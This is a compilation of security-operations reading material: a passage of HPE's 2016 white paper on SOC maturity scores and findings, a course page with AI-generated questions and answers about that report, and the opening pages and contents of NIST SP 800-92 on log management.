People and process median scores remain lower, closer to 1.4 and 1.2 respectively. This reinforces what we see when working with companies who have a SOC as well as those that have not yet built this capability. Most organizations focus heavily on technology solutions and tools without matching that effort with the people and process aspects of a cyber defense program.Asia: 1.51BeNeLux: 1.79 North America: 1.52 MENA: 0.74Nordics: 1.33 South America: 1.92DACH: 1.73 Europe: 1.53UK: 1.26 Oceania: 1.00 Industry summary Looking at median scores by industry vertical, we see that technology organizations have had the highest SOMM scores over the last five years. As an industry, technology is higher because of advanced investments and balance across all dimensions of the SOMM. The importance of equal focus and investment to all four areas of the SOMM has resulted in the most-effective organizations. Over the last five years, Hewlett Packard Enterprise also noticed a significant dip in the telecom industry. As the team investigated the change, it noted that many new telecom organizations are joining the cyber defense market in developing economies. We expect them to grow and improve as they formalize the investment in these young offerings and programs. Business white paper Page 11 1.45 1.50 1.431.221.46Median SOMM Business People ProcessTechnologyOverall median SOMM score by dimension in last five years Figure 2: Median SOMM score—last five years 1.431.27 1.241.57 Energy Financial Government Healthcare Manufacturing Retail Services Technology TelecomMedian SOMM score by industry in last five years 0123451.821.65 1.58 1.55 0.95 Figure 3: Median SOMM score by industry—last five years Industry findings • Security monitoring in the Internet of Things (IoT) has seen an emergence of industry-specific use cases such as smart meter monitoring in the energy industry and medical device monitoring in healthcare. This capability has raised the capabilities scores for organizations with implementations in both of these industries. • International government agreements have not yet had an effect on security monitoring or operations. • The most mature organizations in each industry are layering on capabilities to hunt for unknown attacks and using advanced analytics as an aid to detection. Maturity and effectiveness are still attributed to individual enterprises and no industry trends can be seen yet. • Education (public sector under the Government industry) lags behind in capabilities. The biggest risk is intellectual property (IP) theft and the vast numbers of people accessing the network from different countries make baselining for advanced analytics difficult. The majority of industries are weakest when it comes to process. Even with the increased regulation for the financial and retail industries, the median score is below the “Managed” level (2) and far below the recommended level of “Defined” (3). Looking deeper, each industry vertical is strongest in technology. The majority of industries are weakest when it comes to process. This is where most companies should strive to do better. Customer case studies Following are case studies of two companies, each of which had multiple maturity assessments over time. Hewlett Packard Enterprise has worked with numerous companies to assess capability growth over time and some companies will have an annual or more frequent assessment performed based on business need. Customer ABusiness white paper Page 12 Energy0.000.501.001.502.002.50 Financial Government Healthcare Manufacturing Retail Services Technology Telecom Median for business Median for people Median for process Median for technologyAll-time median SOMM score by industry and dimension Years2.0 1.51.00.50 1 2 3 4 5 61.8 1.01.4Figure 4: Median SOMM score by industry and dimension—last five years Figure 5: SOMM score by SOC age—Customer “A” Organization A is in the public sector and runs a 24x7 SOC to detect cyber threats against the organization’s multiple environments. Maturity has been a seesaw over the past six years mostly based on business challenges that adversely impact people, process, and technology investments. Critical components present: • Analysis of key performance indicators (KPIs) for Level 1 or 2 analysts are tracked and readily available • Structured development program for analysts with continuous investment in key skills • Repeatable operations components well documented with consistent execution across team Critical gaps: • Multitenant SOC missing overarching sponsorship and mission to overcome inconsistent agendas at mid-level manager roles • Content development and data integration KPIs missing for SIEM engineers • Infrastructure stability is an issue; rigid system management policies and guidelines have resulted in out-of-date systems Customer B Organization B is in the energy sector and went through a rebuild under new leadership at the 3-year mark to develop a 24x7 SOC. There has been a steady maturity progression over a 3-year window and prescriptive investment across all SOMM areas. Critical components present: • Strong sponsorship from executive visibility of security ROI from SOC program and tools • Collaborative culture with strong relationships inside and outside of security organization • Investment in security solutions to meet strategic security needs Critical gaps:• Needs talent pipeline and repeatable program to support growth objectives • Development to monitor custom, home-grown applications, and systems • Expanded hunting and visual analysis for context and threatsBusiness white paper Page 13 Years3.0 2.52.01.51.00.50 1 2 3 4 5 61.9 1.02.6 Figure 6: SOMM score by SOC age—Customer “B” ASSESSMENT CATEGORY ELEMENTS OF ASSESSMENT General Roles definition Organizational structureStaffing levelsStaff retention Training FundingRelevanceEffectiveness Certifications FundingRelevanceEffectiveness Experience IndustryOrganizationalEnvironmentRole Skill assessments FrequencyRelevance Career path Candidate poolsSuccession planningOpportunity Leadership VisionOrganizational alignmentHR supportStyle and feedbackExperienceSpan of controlFindings The four elements of security operations capability can be further broken down into assessment categories that are used in the HPE maturity assessments. Following are the findings and lessons learned from each of the elements: people, process, technology, and business. People Having the right people can often have the most profound impact on the overall capability of a SOC. The people capability and maturity score is derived by evaluating the following major elements of the people working in, around, and leading the SOC: • Utilizing hybrid staffing models such as outsourcing first-line analysis or various security operations functions can reduce the negative effect of attrition or skills acquisition. It must be paired with tight, well-defined processes to be effective and not miss anything when incidents are being handed from one group to another. Roles and responsibilities must be documented and agreed upon. • The move to Big Data security analytics often requires hiring one or multiple data scientists. These resources are often very expensive due to their expertise level. Implement advanced analytics that do not require a data scientist on staff to run in order to reduce this cost. • Non-security staff are still at the greatest risk of falling prey to phishing techniques and social engineering. Organizations that promote the existence of their security organization, instead of letting them exist in a dark corner, should have more effective programs on employee security education.Business white paper Page 14 SOMM score for people Median: 1.58; 5-year median: 1.43 Min: 0.1 Max: 3.8 New New New • Organizations that invest in monitoring teams but neglect to define and implement meaningful use cases that model security detection efforts around key business processes are not able to achieve ROI. Similarly, organizations that invest in technology and detective measures but fail to define roles and responsibilities for responding to detected incidents are not able to achieve ROI. Organizations that are able to focus their efforts, end-to-end, around securing and protecting high value business processes are the most successful. • Classroom training and certifications are not a substitute for multi-domain experience when it comes to staffing cyber defense roles. Environment-specific training programs are a necessity to refine the specific skills required of cyber defenders. • Management and team leadership have an enormous impact on the overall capability and effectiveness of a cyber defense team. Leaders must be able to cultivate and maintain a culture where individuals believe in the work that they are performing and feel supported by leadership in their daily activities, as well as their professional development. Leaders must be able to work effectively across organizational barriers to accomplish complex tasks. They must also balance subject-matter knowledge with an awareness of when external assistance is necessary. • Skilled security resources are in very high demand. Most SOCs are struggling to find and retain skilled people. Hiring resources with the proper skills can take months, and is often simply not possible, so many organizations have turned to development programs to cultivate their analysts. Analysts are often developed from individuals who show passion and aptitude for security and come from IT administration, system support, and external roles such as law enforcement. Organizations with these development programs also benefit by ensuring that the skills taught are the exact skills required for their operations. • Regions of the world where IT labor is unionized can struggle with the evolving skills and scope of IT security positions. Organizations can’t easily expand the scope of their security staff and the result can be an acceptance of outdated or limited security skills. • Teams comprising various skills and specialties (network architecture, dba, support, automation, and more) are generally most effective. A skills assessment should be performed across the organization yearly and any identified gaps should be filled with training or new team members. • Creating a stable team and minimizing attrition is important, but the most mature enterprise security organizations realize after 1–3 years, most analysts will be ready to move up or out of the organization. This may result in the analyst joining another part of the IT security organization, another IT team, or another company. Cyber defense teams must prepare for this inevitability and have hiring pipelines identified before the need to hire appears. Mature SOCs have robust relationships with local universities, ancillary teams in the company, and industry groups such as Information Systems Security Association (ISSA), Information Systems Audit and Control Association (ISACA), Open Web Application Security Project (OWASP), and others. This allows management to be prepared to reach out and bring in new talent on a regular basis. • Cyber defense teams often produce the most well-rounded individuals in the IT, risk, and compliance organizations. Analysts must interact with almost every team in IT as well as many teams outside of IT. The most mature and capable organizations will have a clear understanding and appreciation for the value of these individuals and will build a culture where continual investment and clear career progression opportunities exist. • Where around-the-clock security monitoring requirements exist, 24x7 scheduling is still presenting a challenge to most organizations. Common challenges include team culture, consistency, and attrition. Reduced and minimal staffing on the afternoon, night, and weekend shifts leave the personnel disconnected from the larger team dynamic and culture. Additionally, heavy reliance on written communication impacts the consistency levels or security operations.Business white paper Page 15 ASSESSMENT CATEGORY ELEMENTS OF ASSESSMENT General Knowledge management tools Document controlCurrency of documentation Operational processes Roles and responsibilitiesIncident managementSchedulingShift turnoverCase managementCrisis responseProblem and changeEmployee onboardingTrainingSkills assessmentOperational status management Analytical processes Threat intelligenceInvestigationsData explorationFocused monitoringForensicsAdvanced contentInformation fusion• Team culture—24x7 SOCs tend to leave the “off-shift” personnel out of the loop except for email. This leads to a feeling of individuality instead of being part of a team. • Consistency—in 24x7 SOCs, it is extremely difficult to communicate needs and wants effectively when an operational need is present, which is partly due to non-communication with shifts that aren’t in the midst of it all. • Attrition—this can be caused by the other two challenges. Both team culture and consistency across all shifts must be paramount. • Some organizations are favoring 8x5 teams rather than 24x7 operations (outsourced or internally staffed). In these models, high-fidelity correlation rules and automation are leveraged for off-hour conditions, while security analysis and response activities are focused during business hours. This reduces the complexity and challenges of 24x7 operations significantly while still supporting the response requirements for many organizations. • Organizational structure has a profound impact on the capability and maturity of a SOC. The most mature operations report up through a security-, risk-, or legal-led organization, often to a chief information security officer (CISO), who reports to the CEO or to a chief risk or compliance officer. SOCs that are organized within an IT operations organization may have high process maturity, but typically struggle with effective capability. This is due to a conflict in priorities with a focus on availability and performance as opposed to a focus on integrity and confidentiality in the upper levels of the organization. ProcessFor a SOC to achieve high levels of overall maturity there needs to be a solid, current, and relevant foundation of processes and procedures that guide consistent execution of critical tasks and define expectations and outcomes. A good set of processes and procedures enable a SOC to operate in a sustainable and measurable manner, and enable the SOC to support compliance efforts easily when necessary. Without solid processes and procedures, SOCs become reliant on “tribal knowledge” of individuals. Absences or turnover of these individuals can cripple the capability of the SOC. When assessing the process dimension of SOC, Hewlett Packard Enterprise evaluates the following elements:Business white paper Page 16 SOMM score for process Median: 1.44; 5-year median: 1.22 Min: 0.12 Max: 3.81 ASSESSMENT CATEGORY ELEMENTS OF ASSESSMENT Technical processes System and solution architecture Data flow and data qualityData onboardingUser provisioningAccess controlsConfiguration managementUse case lifecycleMaintenanceHealth and availabilityBackup and restoration Business processes MissionSponsorshipService commitmentMetrics and key performance indicators (KPIs)ComplianceProject managementContinual improvementKnowledge managementBusiness continuity (BC)/Disaster recovery (DR) • Orchestration of duties before, during, and after a breach can reduce the cost of the breach to an organization. Automation and integration of compliance, analysis, audit, and incident response tools should be implemented before an incident to be effective. • Hybrid organizations must pay special attention to escalation and shift turnover processes between insourced and outsourced functions. Strictly defined and followed processes ensure that all relevant information is passed between groups and allows for the best capabilities at identifying and isolating breaches. • Smaller organizations with combined IT and InfoSec organizations must ensure that incident response process do not have conflict between IT responsibilities of keeping the business running and InfoSec responsibilities of ensuring confidentiality, integrity of data, and availability of systems. • SOCs that are utilizing hunt teams are realizing value when they tie the findings back into the SOC processes. In practice, the “hunt” activity is as much about understanding normal activity that improves other detective measures as it is about directly detecting malicious activity. When attacks or patterns are detected there must be a process that defines how that information is used and acted upon. Additionally, findings should be fed back into the real-time operations so they can be handled through regular SOC processes in the future. • Successful cyber defense teams utilize threat intelligence and build processes around its use. The consumption of this intelligence—by tools and people—must be defined so it can be quickly acted upon when needed. • Hybrid cyber defense teams use a combination of internal and external (professional or managed services) resources to operate their cyber defense capability. These hybrid environments require advanced maturity of their processes to avoid incidents falling through the cracks. • The most successful SOCs are using an adaptable, portable, and operationally integrated process and procedure collaboration framework such as wiki. With a wiki, organizational documentation remains relevant and fresh, and contributions can be tracked and measured as part of the SOC’s KPIs.Business white paper Page 17 New New New • The most capable and mature SOCs are bringing incident-handling responsibilities closer to the frontline of operations teams. Some organizations are executing containment or response activities at the analyst level, and effectively responding to threats more quickly and efficiently; they are reducing incident response cost and increasing the SOC’s ROI by keeping workload off CERT organizations. This shift is possible because of new technology investments, which allow immediate forensic analysis of systems suspected of compromise. However, it is still common to find Fortune 50 companies that do not have any formal incident response capability, or rely solely on a shared responsibility that rotates through the IT organization—this is rarely an effective or sustainable approach. • While many global or multinational companies are operating SOCs in multiple geographies, doing so in a “follow-the-sun” model to accomplish 24x7 coverage does not prove as effective as having a 24x7 staff in a single location. Follow-the-sun solutions work best when performed for regional requirements or when staffing senior roles during prime shifts in geography in such a way that they support lower-tier resources in a 24x7 location. • Rotation of duties is critical in a SOC. Organizations that expect level 1 analysts to perform constant monitoring for long periods of time experience the lowest levels of capability and the highest levels of attrition. The most successful SOCs will rotate analysts through on-shift monitoring periods that alternate with other project-based tasks such as communications, research, special projects, and unstructured analysis. However, analysts should not be assigned administration tasks that are not aligned with the SOC mission, as this will detract from their effectiveness. TechnologyThe technology in a SOC should support, enforce, and measure the processes that are being executed. Technology does not provide value independent of people and process, and any implementation of technology in a SOC needs to have the necessary ecosystem in which to produce ROI. The elements of technology that are assessed in this report are as follows:Business white paper Page 18 ASSESSMENT CATEGORY ELEMENTS OF ASSESSMENT Architecture Architectural process DocumentationTechnology coverageAlignment with business requirements Data collection CoverageData qualityConsolidationData ownershipData access Monitoring and analysis Workflow management and measurementInvestigationData visualization toolsCoverageHealth and availability Correlation AggregationNormalizationCross-technologyAsset-relevant correlationBusiness rules correlationSubtle event detectionAutomated alertingMulti-stage correlationPattern detectionDashboards and reporting General Infrastructure and endpoint management and administrationRelevancy of data collectedCurrencySOMM score for technology Median: 1.59; 5-year median: 1.46Min: 0.13Max: 4.06 • Organizations that deploy tools, which push incident identification and remediation closer to the first-line analysts, will save money. An example is a right-click integration with a firewall from a SIEM console that allows an analyst to put a temporary block on a suspicious or malicious IP. This allows less-expensive resources to remediate incidents, which also fixes them faster than what would be possible through an escalation path. • Flood of incident management and automation solutions are carving a market for cyber -specific incident tracking. This function previously existed inside of IT security management or governance, risk and compliance (GRC) ticket-based solutions. Many of these solutions integrate industry- and region-specific disclosure regulations, as well as vendor supplied investigation and remediation information. The more mature solutions take it a step further to enable the automation of investigation or remediation actions between technology products. • Well-integrated organizations deploy application security monitoring use cases into their cyber defense centers. This allows them to identify issues with applications running in production, which can indicate possible serious breaches. • Organizations who implement a universal log management (ULM) without a SIEM are failing to achieve real-time security threat monitoring and mature operations. The ULM system provides for aggregation and storage of data but not the correlation, automation, and incident workflow possible with a SIEM. In addition, many logging projects do not evaluate collected information for usability in the same way that a security-oriented SIEM project would. This often results in unexpected gaps in log collection or data format issues that are only discovered during an incident response activity, when the logs are most needed and are unusable. • Many organizations are looking to deploy Big Data security analytics solutions. Big Data should be considered a problem statement, not a toolset. Tools such as leading SIEM and business intelligence (BI) are being adapted to address the opportunity for broad detection and analytics from large datasets. Tools marketed in this space vary widely in capability and ease of use. Some solutions require teams of dedicated data scientists while others operate from proprietary algorithms or threat intelligence sources. Other solutions are little more than log storage solutions that support after-incident forensics activity. Value from security data analytics solutions are most apparent where findings are operationally integrated with security operations capabilities. • Successful SOCs assess all aspects of their operations (people, process, technology, and business) before making drastic changes. Some organizations blame the technology for failed ROI or threat mitigation, which leads to a rip-and-replace of systems. These major projects lead to a reduction of maturity in operations while the new solutions are being ramped up and often do not fix the original issues. • Companies frequently purchase technology point solutions but fail to bring the data together for effective risk remediation and threat detection. A SIEM system is used by mature SOCs to correlate disparate security data and provide a single pane of glass for security analysts to monitor active threats. • Newly formed SOCs will give a level of visibility into infrastructure that organizations were unable to recognize earlier—often highlighting misconfigurations, deviations from reference architectures, and unknown business processes. The most successful SOCs act as a force multiplier for security technology investments across the organization by optimizing configurations and integrating technologies through analysis and response activities. • Organizations that achieve the highest levels of capability are fulfilling advanced use cases for security monitoring and analysis by leveraging SIEM technology. This often includes customizing a SIEM with business context, asset details, identity information, and intelligent correlation that evaluates data for operations and both short-term and long-term analytics. However, there are still entities that are relying on default vendor detection profiles that only address a basic set of use cases for the organization.Business white paper Page 19 New New New ASSESSMENT CATEGORY ELEMENTS OF ASSESSMENT Mission Alignment with business objectives Consistent understanding across businessAlignment of operational capability with mission Accountability Operating and service level commitmentsMeasurements and KPIsRole in regulatory compliance Sponsorship Executive support of SOCLevels of investmentOrganizational alignment Relationship Customer relationshipsAlignment with peer groups Deliverables Threat intelligenceIncident notificationsReports and artifactsOperational reports Vendor engagement Levels of supportDedicated resourcesBusiness understandingEscalationsSOMM score for business Median: 1.50; 3-year median: 1.50Min: 0.59Max: 3.34• Privacy efforts, including regional laws, are influencing the use cases that SOCs monitor. Technology features that enable advanced security use cases such as insider threat are not universally adoptable for global or multinational organizations based on regional privacy law. Such use cases are falling under additional scrutiny based on the current privacy regulations and chief privacy officers are becoming more aligned with enterprise SOCs. • Organizations are maximizing technological investments by implementing a use case methodology to determine which event sources to monitor actively. Technical resources are finite so each event source monitored by the SOC should have a specific associated use case. ULM projects can run in parallel to SOC build projects, but the events that will be monitored actively need to be defined thoughtfully as use cases before presentation for analysis. Operations that place successful broad log collection as a prerequisite to SOC development experience unnecessary delays and rework. BusinessThe measurement of business functions and capability have grown steadily over the last few years. Basic trends, general findings, and areas of assessment are as follows: • Solid business-wide disaster recovery and continuity programs are required to tie into security operations. The threat of getting “bricked” by destructive malware can be mitigated with tight collaboration between IT backup and recovery organizations as well as the cyber defense group. • CISOs are more increasingly coming from a business background. Earlier, this position was dominated by military and technical experience. No conclusions can be drawn at this point on if either background is more effective, however, it does indicate a shift toward acknowledging security as a core function of business and not just an IT function. • Organizations are still struggling with risk management and aligned investments. Gaps can be masked through managed services and cloud without investment in monitoring observable secondary controls and measuring the development of risk-based use cases as a KPI. Organizations that understand risk, deploy observable secondary controls, and drive their teams to develop measurable use cases around those controls are more effective.Business white paper Page 20 New New New • Board-level and C-level visibility into security threats have led to an increased need for businesses-level communication on the state of organizational cyber defense and associated projects. Mature security operations organizations should be able to provide explanations of threats and incidents and their impact on specific parts of the business. Executive reports should have a high degree of automation for data crunching and be provided with a regular cadence. The SOC needs to be seen as a business enabler. • Effective SOCs are often aligned with the GRC or legal organizations. This alignment can give a security organization more authority to act during incidents. It can also allow for a more stable budget that is not constantly being repurposed for IT. Regardless of where a SOC sits in the organization, the security organization must acknowledge and address the business goals constantly. • Interest in converged security implementations has increased this year. Successful organizations have been able to pull IT, physical, and database system information into their SIEMs to identify performance issues or outages that indicate an attack in progress. Difficult political landscapes can restrict SOC access to the necessary system information so executive sponsorship and business alignment are necessary. • SOCs frequently fail to define a succinct mission and scope. This dilutes the organization’s perception of value due to misaligned expectations. It also results in the SOC taking on responsibility for a variety of tasks that can cause resource strain and competing priorities. A SOC that becomes a dumping ground for tasks and does not align with the mission will lower the capability and maturity of the operation. There is a temptation in many organizations to treat a SOC as a security help desk. Those organizations that treat the SOC this way will not achieve a solid return on their investment. These tasks not only devalue the investment in the security analysts but also quickly drive analysts to look for employment elsewhere. • The most capable and mature SOCs define a mission, retain executive sponsorship, and clearly as well as frequently communicate the mission throughout the organization. Defining service-level objectives for the business as well as effective business-level metrics for effectiveness and efficiencies ensure sustainable business support and focus. Executive sponsorship and communication are key to creating a sustainable capability. Those organizations that fail to gain proper executive sponsorship find themselves working under increasingly tight budgets. With the exception of managed service providers, SOCs are a cost center. When budgets are tightened, those SOCs without strong executive sponsorship will be asked to do more with less. It is important for the SOC to communicate its successes frequently to the rest of the organization, including those teams outside of IT. • A SOC may be created as a business-hours–only function (8x5), an extended-hours function (12x5, 18x7, 24x7), or a hybrid of in-sourcing and outsourcing. The perceived ROI for such hybrid solutions can vary widely based on a variety of factors, but the perception that security can be outsourced completely to a third party has clearly declined in favor of hybrid solutions. Organizations using this model realize that the level of capability will differ between the in-sourced and outsourced teams, and they have made a risk-based decision that the cost to fully staff with their own people is not worth the more in-depth capability. An MSS provider will never know as much about an organization as an internal team, yet there is still value in leveraging an MSS in many situations. Many companies are still building and operating a 24x7 capability in-house. Others are taking the viewpoint that a highly skilled, business hours-centric, internal team with effective tools can independently or with the augmentation of a managed service, can meet their objectives. • The most successful organizations are favoring an agile approach to project management for SOC-related projects. The dynamic threat and regulatory landscape cause traditional waterfall approaches to cyber defense projects to fail. This results in capabilities that are either late or off the mark for current needs. Adaptability is key for projects and continues to be key during steady-state operations.Business white paper Page 21 • The belief that SOCs and network operations centers (NOCs) can completely merge is proving incorrect. While communication between these two teams is essential, the work being performed and the skills, as well as expectations of the individuals performing them, are unique. SOCs that treat their analyst resources as a help desk or up/down monitoring team will miss the attacks that trained and experienced security analysts can find. The perception of a SOC as an operations center that processes security alerts is changing to one that respects the high requirements for original thought, broad skills, high professionalism, and critical thinking. Leading cyber defense teams do not view the SOC analyst role as an entry-level position and hire seasoned security professionals to ensure the success of the team. The most mature cyber defense teams are staffing PhD-level data scientists to extract meaning and security context from the vast datastores available to them in addition to “near real-time” monitoring staff. • Mature SOCs develop and report operational metrics and KPIs to demonstrate the value of security investments. Security metrics should measure the efficiency and effectiveness of security operations. Additionally, SOCs with strong investment support from the business are viewed as key contributors to cost avoidance and risk reduction initiatives within the organization. The single most important success criterion or measurement is an accurate detection of attacks in progress. Conclusion The industry continues to evolve toward a business mindset for security. This is seen through investment patterns, report-to chains, and stakeholder involvement. However, this has not made a great impact on overall maturity scores due to the continued focus on technology. People and process aspects of security operations still lag behind in capabilities and efficacy. This has a direct impact on the length of time it takes to identify and remediate breaches. Hewlett Packard Enterprise continues to find that the majority of cyber defense organization’s maturity remains below target levels. A continual focus on mastering the basics and creating a solid foundation of risk identification, incident detection, and breach escalation as well as response remains key to effectiveness. Benefits from advanced analytics capabilities and threat intelligence will only be realized if a strong foundation of security operations exists. No “single” product or service can provide the protection and operational awareness that organizations need. A continuous investment into all facets of a cyber-defense organization is necessary to achieve and maintain optimal maturity. Regular maturity assessments ensure that your SOC is increasing in maturity and capability to reduce risk effectively and diligently in your organization over time.Business white paper Page 22 About HPE Security Hewlett Packard Enterprise is a leading provider of security and compliance solutions for the modern enterprise that wants to mitigate risk in hybrid environments and defend against advanced threats. Based on market-leading research and products from HPE Security ArcSight, HPE Security Fortify, HPE Data Security (Voltage/Atalla), and HPE Security Research, the HPE Security Intelligence Platform uniquely delivers the advanced correlation, incident response orchestration, application protection, and information defenses to protect today’s hybrid IT infrastructure from sophisticated cyber threats. Learn more at hpe.com/software/SIOC Business white paper Page 23 Rate this documentSign up for updates © Copyright 2016 Hewlett Packard Enterprise Development LP. The information contained herein is subject to change without notice. The only warranties for Hewlett Packard Enterprise products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. 4AA6-3593ENW, January 2016Business white paper --- ## Source: https://montance.com/questions.php?id=73 [![pdf](content/images/icons/pdf.svg) HP - State of Security Operations 2016.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgeHVJVHBEUThaTUU/view?usp=sharing) HP State Of Security Operations 2016 Report on the maturity and challenges of security operations centers in 2016. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: How did the overall security operations maturity change from 2014 to 2015 according to the report? A: It declined year-over-year, dropping from a global median of 2.21 to an estimated lower figure (implied challenge in keeping pace). * Q: What specific trend explains the decline in SOC maturity despite increased investment? A: The rapid transformation of IT to hybrid models (cloud, mobile, IoT) combined with the professionalization of the attacker community outpaced defensive maturity. * Q: Which capability gap was identified as the most critical 'missing link' in 2015? A: The lack of 'Hunt Teaming' capabilities to proactively identify threats that evaded automated detection. * Q: What is the '5th Generation SOC' (5G/SOC) characterized by? A: A shift towards analytics, big data, intelligence-driven methodology, information sharing, and a focus on the human adversary. * Q: In the maturity model used, what level represents a 'Defined' process? A: Level 3, where security operations are proactive, repeatable, and documented. * Q: Which industry vertical showed the highest maturity in the 2016 report? A: The Technology sector, often surpassing Finance in certain operational areas. * Q: What is the recommended ratio of 'People' vs. 'Technology' investment for a mature SOC? A: The report suggests a balanced approach but highlights that many organizations over-invest in technology while under-investing in the skilled people needed to run it. * Q: How does the report define the 'Detection Deficit'? A: The time delta between the initial compromise of an asset and the discovery of that compromise. * Q: What specific metric does the report suggest for measuring 'Business Alignment'? A: The percentage of critical business assets that are actively monitored by the SOC. * Q: What is the primary recommendation for organizations stuck at Maturity Level 1? A: Focus on establishing a formal mandate, defining core processes, and achieving basic visibility before purchasing advanced analytics tools. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgUXlqTllFM01xWms/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgUXlqTllFM01xWms/view?usp=sharing]** Special P ublication 800-9 2 Guide to Computer Security Log Ma nagement Recommendations of the National Institute of Standards and T echnology Karen Kent Murugiah Soupp aya Guid e to Com puter Security Log Management Recomme ndations of the National Institute of Standards an d Tec hnology Karen Kent Murugiah Souppaya NIST Special Publication 800-92 C O M P U T E R S E C U R I T Y Computer Security Division Information Technology Laboratory National Institute of Standards and Technology Gaithersburg, MD 20899- 8930 September 2006 U.S. Department of Commerce Carlos M. Gutierrez, Secretary Technology Administration Robert C. Cresanti, Under Secretary of Commerce for Technology National Institute of Standa rds and Technology William Jeffrey, Director GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Reports on Computer System s Technology The Information Technology Laboratory (ITL) at the National Institute of Standards and Technology (NIST) promotes the U.S. econom y and publ ic welfare by providing technical leadership for the nation’s measurement and standards infrastructure. ITL develops tests, test methods, reference data, proof of concept implementations, and technical analysis to advance the development and productive use of information technolog y. ITL’s responsibilities include the development of technical, physical, administrative, and management standards and gu idelines for the cost-effective security and privacy of sensitive unclassified information in Federal computer systems. This Special Publication 800- series reports on ITL’s research, guidance, and outreach efforts in computer security and its collaborative activities with industry, gove rnment, and academic organizations. Certain comme rcial entities, equipment, or mate rials may be identified in this document in order to describe an experimental procedure or concept adequately. Such identification is not intended to imply recomme ndation or endorsement by the National Institute of Standards and Technology, nor is it intended to imply that the entities, materials, or equipment are necessarily the best available for the purpose. National Inst itute of Standards and T echnology Special Publication 800-92 Natl. Inst. Stand. Technol. Spec. Publ. 800- 92, 72 pages (September 2006 ) ii GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Acknowl edgem ents The authors, Karen Kent and Mur ugiah Souppa ya of the National Institute of Standards and Technology (NIST), wish to thank their colleagues who reviewed drafts of this document and contributed to its technical content, especially Bill Burr, Elizabeth Chew, Tim Grance, Bill MacGregor, Stephen Quinn, and M atthew Scholl of NIST, and Stephen Green, Joseph Nusbaum, Angela Orebaugh, Dennis Pickett, and Steven Sharma of Booz Allen Hamilton. The authors particularly wa nt to thank Anton Chuvakin of LogLogic and M ichael Gerdes for their careful review and many contributions to improving the quality of this publi cation. The authors would also like to express their thanks to security experts Kur t Dillard of Microsoft, Dean Farrington of Wells Fargo Bank, Raffael Marty of ArcSight, Greg Shipley of Neohapsis, and Randy Smith of the Mon terey Technology Group, as well as representatives from the Department of Energy, the Department of Health and Human Services, the Department of Homeland Security, the Department of State, the Department of Treasury, the Environmental Protection Agency, the National Institutes of Health, and the Social Security Administration, for their valuable comments and sugge stions. Tradem arks All names are registered trademarks or trademarks of their respective companies. iii GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Table of C ontents Executive Su mmary............................................................................................................ES -1 1. Introduc tion................................................................................................................... 1-1 1.1 Authority................................................................................................................ 1-1 1.2 Purpose and Scope............................................................................................... 1-1 1.3 Audience............................................................................................................... 1-1 1.4 Publication Structure............................................................................................. 1-1 2. Introduc tion to Computer Security Log Management................................................ 2-1 2.1 The Basics of Computer Security Logs.................................................................. 2-1 2.1.1 Security Software....................................................................................... 2-2 2.1.2 Oper ating System s.....................................................................................2-4 2.1.3 Applications................................................................................................2-4 2.1.4 Usefulness of Logs.....................................................................................2-6 2.2 The N eed for Log Manag ement............................................................................. 2-7 2.3 The C hallenges in Log Management..................................................................... 2-8 2.3.1 Log Generation and Stor age...................................................................... 2-8 2.3.2 Log Protection............................................................................................ 2-9 2.3.3 Log Analysis.............................................................................................2-10 2.4 Meeting th e Challenges....................................................................................... 2-10 2.5 Summary............................................................................................................. 2-11 3. Log M anagement Infrastructure................................................................................... 3-1 3.1 Architecture........................................................................................................... 3-1 3.2 Functi ons............................................................................................................... 3-3 3.3 Syslog-Based Centralized Logging Software......................................................... 3-5 3.3.1 Syslog Format............................................................................................ 3-5 3.3.2 Syslog Security.......................................................................................... 3-7 3.4 Security Information and Event Management Software......................................... 3-9 3.5 Additional Types of Log Management So ftware................................................... 3-10 3.6 Summary............................................................................................................. 3-11 4. Log M anagement Planning........................................................................................... 4-1 4.1 Define Roles and Responsibilities......................................................................... 4-1 4.2 Establish Logging Policies..................................................................................... 4-3 4.3 Ensure that Policies Are Feasible.......................................................................... 4-7 4.4 Design Log M anagement Infrastructures............................................................... 4-9 4.5 Summary............................................................................................................. 4-10 5. Log M anagement Ope rational Processes.................................................................... 5-1 5.1 Configure Log Sources.......................................................................................... 5-1 5.1.1 Log Generation.......................................................................................... 5-1 5.1.2 Log Storage and D isposal.......................................................................... 5-2 5.1.3 Log Security............................................................................................... 5-4 5.2 Analyze Log Data.................................................................................................. 5-5 5.2.1 Gaining an Understanding of Logs............................................................. 5-5 5.2.2 Prioritizing Lo g Entries............................................................................... 5-6 5.2.3 Comparing Syst em-Level and Infrastructure-Level Analysis....................... 5-7 iv GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 5.3 Respond to Identified Events................................................................................. 5-8 5.4 Manage Long-Term Log Data Stor age.................................................................. 5-9 5.5 Provide Other Operational Support...................................................................... 5-10 5.6 Perform Testing and Val idation........................................................................... 5-10 5.7 Summary............................................................................................................. 5-11 List of A ppendi ces Appendix A— Glossary........................................................................................................ A-1 Appendix B— Acronyms...................................................................................................... B-1 Appendix C— Tools and Resources.................................................................................... C-1 Appendix D— Index.............................................................................................................. D-1 List of Fi gures Figure 2-1. Security Software Log Entry Exam ples................................................................ 2-3 Figure 2-2. Operating System Log Entr y Example................................................................. 2-4 Figure 2-3. Web Server Log Entr y Examples......................................................................... 2-6 Figure 3-1. Examples of Syslog Messag es............................................................................ 3-6 List of Tabl es Table 4-1. Exam ples of Logging C onfiguration Settings......................................................... 4-6 v GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT This page has been left blank intentionally. vi GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Execu tive Summary A log is a record of the events occurring within an organization’s systems and networks. Logs are composed of log entries; each entry contains information related to a specific event that has occurred within a system or network. Many logs within an organization contain records related to computer security. These computer security logs are generated by many sources, including security software, such as antivirus software, firewalls, and intrusion detection and prevention systems; operating systems on 